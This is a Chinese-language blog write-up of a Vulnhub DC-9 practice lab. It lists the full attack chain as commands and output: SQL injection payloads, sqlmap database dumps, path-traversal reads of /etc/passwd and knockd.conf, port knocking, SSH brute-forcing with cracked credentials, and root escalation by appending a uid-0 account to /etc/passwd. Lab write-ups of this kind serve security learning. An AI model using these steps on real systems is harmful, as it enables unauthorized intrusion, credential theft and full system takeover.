本文仅个人学习所做笔记,仅供参考,有不足之处请指出!

vulnhub靶机

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
靶机DC9 还是老样子只有拿到root权限才可以发现最终的flag。
Vulnhub靶机下载:
官网地址:[https://download.vulnhub.com/dc/DC-9.zip]
Vulnhub靶机安装:
下载好了把安装包解压 然后试用VMware即可。

环境准备

攻击机:kali
靶机:DC-9
同一局域网段

DC-9靶机漏洞详解

信息收集

打开kali和DC-9靶机,可以看到它是需要登录账户密码的

接下来对它进行信息收集
在kali上使用nmap扫描整个虚拟机网段的存活主机:

nmap -sP -PI -PT 192.168.232.0/24

可以看到通过排除,靶机的ip为:192.168.232.136
确定IP后在通过nmap扫描其主机信息:

nmap -sV -Pn 192.168.232.136


可以看到靶机开放了80端口但22端口是filtered的(后面会利用到),这里可以先用浏览器访问一下80端口,进行框架识别。

发现无框架的页面,接下来探查一下页面,看是否存在web漏洞,先用dirseach进行扫描,没有发现可以利用的文件:

漏洞利用

测试过程

接下来可以测试一下搜索框和登录界面是否存在sql注入漏洞,测试:

1' and 1=1#
1' and 1=2#

这里会发现两条语句都没回显出信息

这里并不代表着不存在sql注入漏洞,可能是web服务器屏蔽了回显报错信息,也就是不会报错,这个时候我们就无法判断闭合形式是否为单引号等,只能盲猜一手,而且因为不能报错,也就无法使用order by去判断查询字段长度,但还可以使用union select来判断。
首先盲猜为单引号闭合:

1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1' union select 1,2,3,4#
1' union select 1,2,3,4,5#
1' union select 1,2,3,4,5,6#


当查询6个字段时出现了数据,可以判断这里是存在SQL注入漏洞的。
当然这里可以使用1’ or 1=1#来直接恒等于真,爆出查询语句的内容。也是可以判断这里存在SQL注入漏洞。

还可以用漏洞扫描工具来测试是否存在漏洞,这里所使用的的Xray。

sqlmap爆数据库

接下来竟然知道这里存在字符型sql注入漏洞,我们使用sqlmap工具来爆出我们所需要的数据库信息:
1、爆数据库名,由于是POST请求发送数据,所以这里指定–date参数为search

sqlmap -u 'http://192.168.232.136/results.php' --data 'search=1' --dbs --batch


2、爆staff数据库表名

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff --tables --batch


3、爆users表的字段名

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff -T Users --columns --batch


4、获取字段数据

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff -T Users -C "UserID,Username,Password" --dump --batch


5、md5解密
https://www.somd5.com/

6、同样按照上述步骤获取users数据库的信息

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D users -T UserDetails -C username,password,id --dump --batch

任意文件读取漏洞

通过sql注入漏洞,获取了管理员账户和密码,登录管理员后台,发现页面有个提示:File does not exist显示文件不存在:

测试一下看是否存在文件包含漏洞,这里可以用wfuzz工具爆出是file参数:

?file=../../../../etc/passwd


接下来不知道怎么搞了,去网上找了一些文章这里,发现这里接下来需要利用knockd服务https://zhuanlan.zhihu.com/p/210177505
通过/proc/sched_debug 来查看Linux系统中任务的调度情况,发现了knockd进程:

knockd 服务的默认配置路径:/etc/knockd.conf
然后使用文件包含漏洞遍历一下,获得ssh开门密码 sequence = 7469,8475,9842

然后安装knock工具,对获取的端口(开门密码)实现碰撞,可以看到成功开启了ssh端口:

apt install knockd
knock 192.168.232.136 7469 8475 9842
或者
nmap -sV 192.168.232.136 -p 7469
nmap -sV 192.168.232.136 -p 8475
nmap -sV 192.168.232.136 -p 9842
nmap -sV 192.168.232.136

ssh爆破

在开放ssh端口后,需要尝试通过用户名、密码登录,这里我们可以根据通过sql注入爆出的users库UserDetails表中的字段信息,将username放入user.txt,将password放入pass.txt来爆破ssh:

[22][ssh] host: 192.168.232.136 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.232.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.232.136 login: janitor password: Ilovepeepee

爆破出来有3个用户可用,通过ssh登录三个账号进行信息收集

信息收集

爆破出来有3个用户可用,通过ssh登录三个账号进行信息收集:

ls -al   查看用户文件
sudo -l     查看root权限
history     查看历史命令

1、chandlerb

2、 joeyt

3、janitor

经过测试发现,在 janitor 用户登录的时候,在.secrets-for-putin发现了一些新的密码信息。

二次ssh爆破

将新获取的密码信息再放入pass1.txt中,再次进行ssh爆破:

[22][ssh] host: 192.168.232.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.232.136 login: fredf password: B4-Tru3-001

可以看到这里又新发现了一个用户fredf,按上述命令继续对fredf进行信息收集,看是否能发现敏感信息:

在查看权限时,发现一个test路径。经过查看发现test是一个python文件,接下来使用查找命令,查看这个python文件:

经过查看发现这个py文件的大致内容就是将参数1的内容写入参数2中,接下来尝试进行提权。

本地提权

先openssl passwd创建一个新用户和密码

openssl passwd -1 -salt admin admin
-1 #使用md5加密算法
-salt #自动锚入一个随机参数作为文件内容加密


然后构造成/etc/passwd下的格式,保存在pass文件中

echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> pass

再运行刚刚发现的test.py将pass写入到/etc/passwd

sudo /opt/devstuff/dist/test/test pass /etc/passwd

切换为admin用户获取flag

参考文章:

http://t.csdn.cn/ZI6F9
https://zhuanlan.zhihu.com/p/210177505

Vulnhub靶机渗透学习——DC-9相关推荐

  1. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  2. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  3. dc-2 靶机渗透学习

    网络扫描 第一步先查看当前网段,进行主机探活 nmap -A -p- -v 192.168.202.0/24 发现80.7744端口开放 访问192.168.202.131来看看网站的80端口是啥,可 ...

  4. dc-3 靶机渗透学习

    靶机修复 dc-3靶机可能会存在扫不到靶机ip的问题,可以参考下面这篇博客解决,编辑网卡配置文件时命令有点错误. vim /etc/network/interfacers 改成 vim /etc/ne ...

  5. 【VulnHub靶机渗透】三:Billu_b0x

    VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学). 文章目录 ...

  6. 【VulnHub靶机渗透】一:BullDog2

    在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理. 文章目录 简介 渗透步骤 1.主机发现.端口扫描 2.Web扫描.漏洞发现 3. ...

  7. Vulnhub靶机渗透之Me and My Girlfriend

    本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记 前文链接 WAMP/DVWA/sqli-labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描,请求重发,漏洞扫描 ...

  8. Vulnhub靶机渗透之 RAVEN: 1

    目录 Description 网卡信息 信息收集 主机发现 主机存活扫描 端口扫描 网站信息 网站首页 nikto 报告 service 页面 wordpress 渗透过程 SSH 爆破 Hydr 命 ...

  9. Vulnhub靶机渗透之 AI: Web: 1

    靶机下载地址:AI:Web:1 Description: Difficulty: Intermediate Network: DHCP (Automatically assign) Network M ...

最新文章

  1. angular中的依赖注入
  2. Ubuntu18.04 CUDA与cudnn安装
  3. 安卓入门系列-01开发工具Android Studio的安装
  4. 解题:2017清华集训 无限之环
  5. 树:求二叉树的高度和叶子结点数量
  6. 网络推广运营主要做些什么
  7. 未知账户(S-1-5-21)无法删除的问题
  8. 推荐两个非常不错的公众号
  9. c语言程序设计现代方法算法pdf,c语言程序设计(排序算法).pdf
  10. JL-37数字式测斜仪
  11. sap 双计量单位_SAP 基本计量单位更改(转载)
  12. Solver Prototxt - 参数说明
  13. 企业员工快速增长,无线网络如何承载需求?干货!
  14. 网站logo服务器更换显示以前,网站更换logo
  15. envoy做集中式egress sidecar
  16. Cyberspace_Security_Learning
  17. 冰蝎3.0 页面存在,但是无法获取密钥
  18. 一条校招/社招潜规则~
  19. JSP: quoted with which must be escaped when used within the value 报错问题解决
  20. mongodb与mysql连接_MongoDB连接数据库

热门文章

  1. 动态规划练习28:Maximum sum
  2. 综合以及布局布线优化
  3. 美通企业日报 | 京沪深中高端人才月薪超2万;天津首家戴森官方体验店开幕
  4. “一生一芯”项目遇到的卡壳问题
  5. 杭州天猫前端招聘 2020 年毕业生啦!
  6. Mirror for LG TV for Mac(LG智能电视投屏软件)
  7. 区块链+保险,隐私保护必不可少!
  8. 功率放大器的参数彼此之间的关系
  9. 功率放大器模块是什么?哪里可以采购?
  10. 用555芯片构成单稳态电路分析以及参数选择